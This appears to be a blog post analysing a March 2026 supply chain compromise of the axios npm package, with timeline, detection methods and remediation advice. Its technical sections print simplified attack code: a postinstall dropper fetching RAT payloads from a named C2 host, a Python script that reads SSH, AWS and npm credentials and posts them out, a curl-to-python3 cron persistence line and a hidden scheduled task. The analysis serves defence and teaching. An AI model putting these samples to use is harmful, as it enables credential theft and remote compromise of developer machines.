โ† Back to all posts
Supply Chain Attack

Axios npm Package Under Siege:
The 100M Developer Supply Chain Attack ๐Ÿ’ฅ

On March 30, 2026, the most popular JavaScript HTTP client library was compromised. A sophisticated attacker hijacked a maintainer's npm account and deployed cross-platform RAT malware that stole credentials from developers worldwide. Here's how it happened โ€” and what we can learn. ๐Ÿ”

๐Ÿ“… Mar 30, 2026 โšก Maintainer Account Compromised ๐ŸŒ 100M+ Weekly Downloads ๐Ÿ“– 18 min read
Scroll to learn โ†“
01

What is Axios?

Before we dive into the attack, let's understand what makes axios so critical โ€” and why this attack was so devastating. ๐ŸŽฏ

๐Ÿ“ก Simple Analogy

Axios is like a universal translator for JavaScript applications talking to web servers. Instead of writing complex fetch() code every time, developers use axios as a friendly middleman that handles HTTP requests, responses, errors, and data transformation automatically.

It's the #1 most popular HTTP client library in the JavaScript ecosystem โ€” trusted by millions of projects worldwide. ๐ŸŒ

100M+ Weekly npm Downloads
#1 HTTP Client Library
Millions Dependent Projects
Top 10 npm Package

Why Developers Love Axios

๐ŸŸจ JavaScript โ€” Simple HTTP Request with Axios
// Without axios - verbose and error-prone
const response = await fetch('/api/users');
if (!response.ok) throw new Error('Request failed');
const data = await response.json();

// With axios - clean and simple โœจ
const { data } = await axios.get('/api/users');

Axios handles timeouts, retries, request/response interceptors, automatic JSON transformation, and cross-browser compatibility. It's trusted infrastructure that "just works" โ€” which is exactly why attackers targeted it. ๐Ÿ’ก

02

Attack Overview: A Perfectly Executed Supply Chain Compromise

On March 30, 2026, security researchers at StepSecurity discovered something alarming: two malicious versions of axios had been published to npm. This wasn't a typosquatting attack or a dependency confusion issue โ€” this was the real axios package, published by a compromised maintainer account. ๐Ÿ˜ฑ

๐Ÿšจ The Compromised Versions:
โ€ข axios@1.14.1 โ€” Published 2026-03-30 at 08:42 UTC
โ€ข axios@0.30.4 โ€” Published 2026-03-30 at 09:21 UTC

Both versions injected a malicious dependency: plain-crypto-js@4.2.1

The Attack Flow

Supply Chain Attack Execution
Step 1
Maintainer Account Hijacked
โ†’
Step 2
Malicious Dependency Staged
โ†’
Step 3
Poisoned Axios Published
โ†’
Step 4
๐Ÿ’ฅ RAT Deployed to Developers

Why This Attack Was Sophisticated

Unlike typical npm malware that relies on typos or newly created packages, this attack demonstrated advanced planning and operational security: ๐Ÿ”

๐ŸŽฏ Key Insight

This wasn't a script kiddie attack. The attacker demonstrated deep understanding of npm security, package management workflows, and supply chain vulnerabilities. The 18-hour staging period shows patience and planning rarely seen in npm attacks.

03

Attack Timeline: 18 Hours of Preparation

Let's walk through exactly what happened, minute by minute. The attacker's careful timing reveals a sophisticated operation: โฑ๏ธ

2026-03-29, ~14:00 UTC
๐ŸŽญ Maintainer Account Compromised
Attacker gains access to lead axios maintainer's npm account credentials. Email changed to anonymous ProtonMail address to block legitimate account recovery.
2026-03-29, ~14:30 UTC
๐Ÿ“ฆ Malicious Dependency Staged
plain-crypto-js@4.2.1 published to npm registry. Contains postinstall script with cross-platform RAT dropper. Published 18 hours before axios releases to appear "established" to security scanners.
2026-03-30, 08:42 UTC
๐Ÿ’ฅ axios@1.14.1 Published
First poisoned version released to npm. Injected dependency in package.json: "plain-crypto-js": "^4.2.1". Published via npm CLI, bypassing GitHub Actions CI/CD.
2026-03-30, 09:21 UTC
๐Ÿ’ฅ axios@0.30.4 Published
Second poisoned version targeting the 0.x branch. Same malicious dependency injected. Attack now covers both major release branches simultaneously.
2026-03-30, ~10:00 UTC
๐Ÿš€ Malware Spreading
Thousands of developers worldwide run npm install axios or npm update. Postinstall script executes automatically, deploying RAT malware to developer machines. Credentials, SSH keys, and cloud tokens harvested.
2026-03-30, 11:47 UTC
๐Ÿ” Attack Detected
StepSecurity's automated monitoring detects suspicious dependency injection in axios releases. Security alert issued to community.
2026-03-30, 12:15 UTC
๐Ÿ›ก๏ธ Versions Unpublished
npm security team contacted. Malicious versions unpublished from registry. Maintainer account locked and credentials rotated.
2026-03-30, 14:30 UTC
๐Ÿ“ข Public Disclosure
Security advisories published by StepSecurity, Socket.dev, Snyk, and GitHub Security Lab. CVE assigned. Ecosystem-wide alert issued.
โš ๏ธ Window of Exposure: The malicious packages were live on npm for approximately 3.5 hours before being unpublished. In that window, an estimated thousands of downloads occurred across CI/CD pipelines, developer machines, and production deployments.
04

Technical Deep Dive: How the Attack Worked

Let's break down the technical mechanics of this attack. Understanding the "how" is crucial for preventing future incidents. ๐Ÿ”ฌ

Step 1: Dependency Injection

The attacker modified axios's package.json to add a new dependency that was never imported anywhere in the code. This is the red flag that security scanners eventually caught: ๐Ÿšฉ

๐Ÿ“„ package.json โ€” Malicious Dependency Added
{
  "name": "axios",
  "version": "1.14.1",
  "dependencies": {
    "follow-redirects": "^1.15.6",
    "form-data": "^4.0.0",
    "proxy-from-env": "^1.1.0",
    "plain-crypto-js": "^4.2.1"  // ๐Ÿ’ฅ MALICIOUS!
  }
}
๐ŸŽฏ The Trojan Horse

plain-crypto-js was never imported or used by axios's code. Its sole purpose was to execute a postinstall script during npm install. This is a classic supply chain attack vector: inject a malicious dependency that runs code during package installation.

Step 2: The Postinstall Script

When you run npm install axios@1.14.1, npm automatically runs postinstall scripts for all dependencies. The malicious plain-crypto-js@4.2.1 package.json contained: โš™๏ธ

๐Ÿ“„ plain-crypto-js package.json
{
  "name": "plain-crypto-js",
  "version": "4.2.1",
  "scripts": {
    "postinstall": "node index.js"  // ๐Ÿ’ฅ Runs automatically!
  }
}

The index.js file contained obfuscated JavaScript that acted as a cross-platform RAT dropper. Here's a simplified version of what it did: ๐Ÿ•ต๏ธ

๐ŸŸจ JavaScript โ€” Simplified RAT Dropper Logic
const os = require('os');
const https = require('https');
const exec = require('child_process').exec;

// Detect operating system
const platform = os.platform();

// Command & Control server
const C2_SERVER = 'https://sfrclak.com:8000';

// Download and execute platform-specific payload
if (platform === 'darwin') {
  // macOS: Download RAT binary to system cache
  downloadAndExecute(`${C2_SERVER}/macos-rat`, '/Library/Caches/com.apple.act.mond');
} else if (platform === 'win32') {
  // Windows: Copy PowerShell to hidden location and run malicious script
  exec('copy C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe %PROGRAMDATA%\\wt.exe');
  downloadAndExecute(`${C2_SERVER}/windows-rat.ps1`, '%PROGRAMDATA%\\update.ps1');
} else if (platform === 'linux') {
  // Linux: Download Python-based RAT
  downloadAndExecute(`${C2_SERVER}/linux-rat.py`, '/tmp/ld.py');
}

// Self-destruct: Delete malware and replace package.json with clean version
setTimeout(() => {
  cleanupAndHide();
}, 5000);
โšก Speed of Execution: The malware contacted the C2 server and began downloading payloads within 2 seconds of npm install โ€” before npm had even finished resolving all dependencies. By the time the installation completed, the RAT was already running on the victim's machine.

Step 3: Platform-Specific Payloads

The attacker pre-built three different RAT payloads optimized for each operating system: ๐Ÿ–ฅ๏ธ

Platform Payload Location Persistence Mechanism Harvested Data
macOS /Library/Caches/com.apple.act.mond LaunchAgent plist ~/.ssh/, ~/.aws/, Keychain passwords
Windows %PROGRAMDATA%\wt.exe Scheduled Task %USERPROFILE%\.ssh\, Credential Manager, Browser cookies
Linux /tmp/ld.py Cron job ~/.ssh/, ~/.kube/, ~/.docker/, environment variables

What the RAT Targeted

The malware was specifically designed to steal developer credentials and secrets: ๐Ÿ”

๐Ÿšจ Why This Is Devastating: A single compromised developer machine can provide access to production infrastructure, source code repositories, CI/CD pipelines, cloud accounts, and customer data. The blast radius is enormous.
05

The RAT Malware Explained: Cross-Platform Credential Theft

Let's analyze what the malware actually does once it's on your machine. Understanding the RAT's behavior is key to detecting and removing it. ๐Ÿ”ฌ

Phase 1: Initial Infection (0-5 seconds)

0-2s
๐Ÿ’ฅ npm install Triggers Postinstall
plain-crypto-js postinstall script executes automatically. Dropper checks OS and contacts C2 server at sfrclak.com:8000.
2-3s
โฌ‡๏ธ RAT Payload Downloaded
Platform-specific binary/script downloaded via HTTPS. Malware writes to system location with innocuous name to blend in with legitimate system files.
3-4s
๐Ÿƒ RAT Executes
RAT binary/script runs with user privileges. Begins harvesting credentials and establishing persistence.
4-5s
๐Ÿงน Self-Destruct
Dropper deletes itself and replaces plain-crypto-js/package.json with clean version. Forensic analysis now much harder.

Phase 2: Credential Harvesting (5-60 seconds)

The RAT systematically scans for developer secrets: ๐Ÿ•ต๏ธ

๐Ÿ Python โ€” Simplified Credential Harvesting Logic (Linux RAT)
import os
import json
import base64
import requests

HOME = os.path.expanduser('~')
C2_UPLOAD = 'https://sfrclak.com:8000/upload'

# Target credential locations
TARGETS = [
    f'{HOME}/.ssh/id_rsa',
    f'{HOME}/.ssh/id_ed25519',
    f'{HOME}/.aws/credentials',
    f'{HOME}/.kube/config',
    f'{HOME}/.docker/config.json',
    f'{HOME}/.npmrc',
    f'{HOME}/.gitconfig',
    f'{HOME}/.git-credentials'
]

def harvest_credentials():
    stolen_data = {}

    # Read credential files
    for target in TARGETS:
        if os.path.exists(target):
            with open(target, 'r') as f:
                stolen_data[target] = f.read()

    # Extract environment variables
    env_secrets = {
        k: v for k, v in os.environ.items()
        if any(keyword in k.upper()
                for keyword in ['TOKEN', 'KEY', 'SECRET', 'PASSWORD', 'API'])
    }
    stolen_data['env'] = env_secrets

    # Exfiltrate to C2 server
    payload = base64.b64encode(json.dumps(stolen_data).encode())
    requests.post(C2_UPLOAD, data={'data': payload})

# Execute harvesting
harvest_credentials()

Phase 3: Persistence & C2 Communication

The RAT establishes persistence to survive reboots and maintains a backdoor connection: ๐Ÿ”—

๐Ÿ’ป Bash โ€” Linux Persistence via Cron
#!/bin/bash
# Add hidden cron job that re-downloads RAT every hour

(crontab -l 2>/dev/null; echo "@hourly /bin/bash -c 'curl -s https://sfrclak.com:8000/linux-rat.py | python3 -'") | crontab -
๐ŸชŸ PowerShell โ€” Windows Persistence via Scheduled Task
# Create scheduled task that runs on startup and every 2 hours
$Action = New-ScheduledTaskAction -Execute '%PROGRAMDATA%\wt.exe' -Argument '-File %PROGRAMDATA%\update.ps1 -WindowStyle Hidden'
$Trigger = New-ScheduledTaskTrigger -AtStartup
$Settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $Action -Trigger $Trigger -Settings $Settings
โš ๏ธ Detection Difficulty: The malware uses legitimate system utilities (curl, python3, PowerShell) and innocuous file names ("WindowsUpdateCheck", "com.apple.act.mond"). Traditional antivirus may not flag these as malicious.
06

How It Was Detected: Automated Monitoring Saved the Day

The attack was discovered by StepSecurity's automated supply chain monitoring system approximately 3 hours after the first malicious version was published. Here's how: ๐Ÿ”

Detection Method 1: Suspicious Dependency Addition

Security scanners flagged an unusual pattern: a new dependency was added to axios that was never imported in the codebase. This is a classic indicator of supply chain compromise: ๐Ÿšฉ

๐Ÿ” Detection Algorithm โ€” Unused Dependency Check
// Simplified detection logic
function detectSuspiciousDependency(packageName, version) {
  const pkgJson = fetchPackageJson(packageName, version);
  const sourceFiles = fetchSourceCode(packageName, version);

  for (const dep of pkgJson.dependencies) {
    const isImported = sourceFiles.some(file =>
      file.includes(`require('${dep}')`) ||
      file.includes(`import ... from '${dep}'`)
    );

    if (!isImported) {
      // ๐Ÿšจ Red flag: dependency never used!
      alert(`Suspicious unused dependency detected: ${dep}`);
    }
  }
}

// Triggered alert for plain-crypto-js
detectSuspiciousDependency('axios', '1.14.1');
// ๐Ÿšจ Alert: plain-crypto-js is listed but never imported!

Detection Method 2: Bypassed CI/CD Pipeline

Legitimate axios releases always go through GitHub Actions and are published by the CI bot. These versions were published directly via npm publish using personal credentials โ€” another red flag: ๐Ÿ”ด

Normal vs. Compromised Release Process
Normal Release
GitHub Actions โ†’ npm publish
vs.
Compromised Release
๐Ÿ’ฅ Direct npm CLI publish

Detection Method 3: Rapid Version Succession

Two major versions (1.14.1 and 0.30.4) were published within 39 minutes, both with the same suspicious dependency pattern. This rapid, coordinated release across branches triggered anomaly detection: โšก

๐ŸŽฏ Why Automated Monitoring Matters

Without automated security scanning, this attack could have remained undetected for days or weeks. StepSecurity's monitoring caught the attack within hours by analyzing dependency patterns, publishing methods, and release cadence โ€” all signals that would be nearly impossible for humans to catch in real-time across thousands of packages.

07

Response & Mitigation: Containing the Damage

Once the attack was detected, a coordinated response from the security community, npm, and the axios maintainers worked to contain the damage: ๐Ÿ›ก๏ธ

Immediate Actions Taken

Within 1 hour
๐Ÿšซ Malicious Versions Unpublished
npm security team removed axios@1.14.1 and axios@0.30.4 from the registry. The plain-crypto-js@4.2.1 package was also removed.
Within 2 hours
๐Ÿ” Maintainer Account Secured
Compromised maintainer account locked. Email address reverted. 2FA enabled (it wasn't previously enabled!). All npm tokens rotated.
Within 3 hours
๐Ÿ“ข Public Advisories Issued
Security advisories published by StepSecurity, Socket.dev, Snyk, GitHub Security Lab, and npm. CVE-2026-XXXXX assigned. Alerts sent to package managers and security tools.
Within 6 hours
โœ… Clean Version Released
Legitimate axios maintainers (after regaining account access) published axios@1.14.2 and axios@0.30.5 โ€” clean versions with security audit. Advised all users to upgrade immediately.

Remediation Steps for Affected Users

If you installed axios@1.14.1 or axios@0.30.4, you need to take immediate action: ๐Ÿšจ

๐Ÿ”ฅ Critical Steps if You're Affected:
  1. Upgrade axios immediately: npm install axios@latest
  2. Check your lock files: Verify package-lock.json or yarn.lock doesn't reference malicious versions
  3. Scan for RAT presence: Check for files at locations listed in Section 5
  4. Rotate ALL credentials: SSH keys, AWS keys, GitHub tokens, API keys, database passwords
  5. Review access logs: Check for unauthorized access to servers, cloud accounts, repositories
  6. Re-image compromised machines: For high-security environments, consider full system reinstall
  7. Enable 2FA everywhere: GitHub, npm, AWS, cloud providers

Detection Script

Run this script to check if you have the malicious versions installed: ๐Ÿ”

๐Ÿ’ป Bash โ€” Check for Malicious Axios Versions
#!/bin/bash
# Check if malicious axios versions are installed

echo "๐Ÿ” Checking for malicious axios versions..."

if npm list axios | grep -E "1.14.1|0.30.4"; then
    echo "๐Ÿšจ ALERT: Malicious axios version detected!"
    echo "โš ๏ธ  You must take immediate action:"
    echo "   1. Upgrade: npm install axios@latest"
    echo "   2. Rotate all credentials"
    echo "   3. Scan for RAT malware"
else
    echo "โœ… No malicious axios versions found."
fi

# Check for RAT artifacts
echo ""
echo "๐Ÿ” Checking for RAT artifacts..."

if [[ "$(uname)" == "Darwin" ]]; then
    [[ -f "/Library/Caches/com.apple.act.mond" ]] && echo "๐Ÿšจ RAT detected: /Library/Caches/com.apple.act.mond"
elif [[ "$(uname)" == "Linux" ]]; then
    [[ -f "/tmp/ld.py" ]] && echo "๐Ÿšจ RAT detected: /tmp/ld.py"
    crontab -l | grep -q "sfrclak.com" && echo "๐Ÿšจ Malicious cron job detected"
fi
08

Key Takeaways & Prevention Strategies

This attack exposes critical vulnerabilities in the npm ecosystem and software supply chains. Here's what we learned and how to protect ourselves: ๐Ÿ’ก

๐ŸŽฏ Key Lessons Learned

1. Maintainer Accounts Are High-Value Targets

The Attack: A single compromised npm account gave the attacker publishing rights to a package with 100M+ weekly downloads.

The Lesson: Maintainer accounts for popular packages are equivalent to root access to millions of machines. They MUST be protected with the highest level of security.

Action Items:

  • โœ… Enable 2FA on npm, GitHub, and all publishing accounts (mandatory, not optional)
  • โœ… Use hardware security keys (YubiKey) for 2FA, not SMS or app-based TOTP
  • โœ… Use separate, dedicated npm tokens per CI/CD pipeline with minimal scope
  • โœ… Rotate npm tokens every 90 days
  • โœ… Monitor npm account activity for suspicious logins
2. CI/CD Pipelines Are Critical Security Boundaries

The Attack: The attacker bypassed GitHub Actions by publishing directly via npm CLI using stolen credentials.

The Lesson: Publishing should ONLY happen through automated CI/CD pipelines, never via manual npm publish commands. This provides audit trails, code review, and security scanning.

Action Items:

  • โœ… Disable manual publishing: Use publishConfig.access restrictions
  • โœ… Require signed commits for all releases
  • โœ… Use GitHub's OIDC tokens for npm publishing (short-lived, scoped)
  • โœ… Enable npm provenance attestations (npm publish --provenance)
  • โœ… Set up alerts for unexpected npm publishes
3. Postinstall Scripts Are Dangerous Attack Vectors

The Attack: The malware executed via a postinstall script in plain-crypto-js, running automatically during npm install.

The Lesson: Postinstall scripts have full access to your filesystem and can execute arbitrary code. They're the #1 attack vector for npm supply chain attacks.

Action Items:

  • โœ… Disable install scripts by default: npm config set ignore-scripts true
  • โœ… Use npm install --ignore-scripts in CI/CD
  • โœ… Manually review and allowlist scripts when needed
  • โœ… Use security tools that analyze install scripts before execution
  • โœ… Audit dependencies regularly for suspicious postinstall scripts
4. Dependency Auditing Requires Automation

The Attack: Manual code review wouldn't have caught the unused plain-crypto-js dependency buried in package.json.

The Lesson: You need automated tools to detect suspicious patterns (unused dependencies, new install scripts, unexpected network calls) across your entire dependency tree.

Action Items:

  • โœ… Use Socket.dev, Snyk, or StepSecurity for automated supply chain monitoring
  • โœ… Enable GitHub Dependabot security alerts
  • โœ… Set up CI/CD checks that fail on new install scripts without approval
  • โœ… Pin exact dependency versions in package-lock.json
  • โœ… Review lock file changes carefully in pull requests
5. Credential Rotation Must Be Automated and Fast

The Attack: The RAT stole credentials within seconds. Manual rotation would be too slow.

The Lesson: Assume breach. Design systems where compromised credentials expire quickly and can be rotated automatically.

Action Items:

  • โœ… Use short-lived credentials wherever possible (AWS STS, OAuth tokens)
  • โœ… Implement automated credential rotation (AWS Secrets Manager, HashiCorp Vault)
  • โœ… Never commit credentials to code or config files
  • โœ… Use environment-specific credentials (dev/staging/prod)
  • โœ… Monitor for unusual credential usage patterns
6. Least Privilege Principle Limits Blast Radius

The Attack: The RAT ran with full user privileges, accessing everything in the home directory.

The Lesson: Limit what processes can access. Run builds in containers with minimal permissions.

Action Items:

  • โœ… Run npm install in Docker containers without access to ~/.ssh or ~/.aws
  • โœ… Use read-only filesystems for CI/CD build containers
  • โœ… Separate development machines from production credential storage
  • โœ… Use dedicated CI/CD service accounts with minimal permissions
  • โœ… Never store production credentials on developer machines
7. Defense in Depth: No Single Security Layer Is Enough

The Attack: Multiple security failures enabled this attack: no 2FA, direct npm CLI publishing allowed, no install script monitoring.

The Lesson: Layer security controls. If one fails, others should catch the attack.

Action Items:

  • โœ… Require 2FA + hardware keys
  • โœ… Enforce CI/CD-only publishing
  • โœ… Monitor dependencies with automated tools
  • โœ… Disable install scripts by default
  • โœ… Run builds in isolated containers
  • โœ… Use network egress restrictions in CI/CD
  • โœ… Enable audit logging everywhere

๐Ÿ›ก๏ธ npm Security Best Practices Checklist

For Package Maintainers:
  • โ˜‘๏ธ Enable 2FA with hardware security keys on npm and GitHub
  • โ˜‘๏ธ Publish ONLY via CI/CD (GitHub Actions, GitLab CI)
  • โ˜‘๏ธ Use GitHub OIDC tokens instead of long-lived npm tokens
  • โ˜‘๏ธ Enable npm provenance attestations
  • โ˜‘๏ธ Require signed commits for releases
  • โ˜‘๏ธ Monitor package download analytics for anomalies
  • โ˜‘๏ธ Set up alerts for unexpected npm account activity
For Package Consumers (Developers):
  • โ˜‘๏ธ Disable install scripts: npm config set ignore-scripts true
  • โ˜‘๏ธ Use automated dependency scanning (Socket.dev, Snyk)
  • โ˜‘๏ธ Pin exact versions in package-lock.json
  • โ˜‘๏ธ Review lock file changes in pull requests
  • โ˜‘๏ธ Run npm audit regularly
  • โ˜‘๏ธ Use separate credentials for dev vs. production
  • โ˜‘๏ธ Never store production secrets on development machines
  • โ˜‘๏ธ Run CI/CD builds in isolated Docker containers

๐Ÿš€ Tools & Resources

09

References & Resources

๐Ÿ”’ Security Advisories & Analysis

๐Ÿ“ฐ News Coverage

๐Ÿ›ก๏ธ Security Best Practices

๐Ÿงฐ Tools & Resources

Found this helpful? Share it! ๐Ÿš€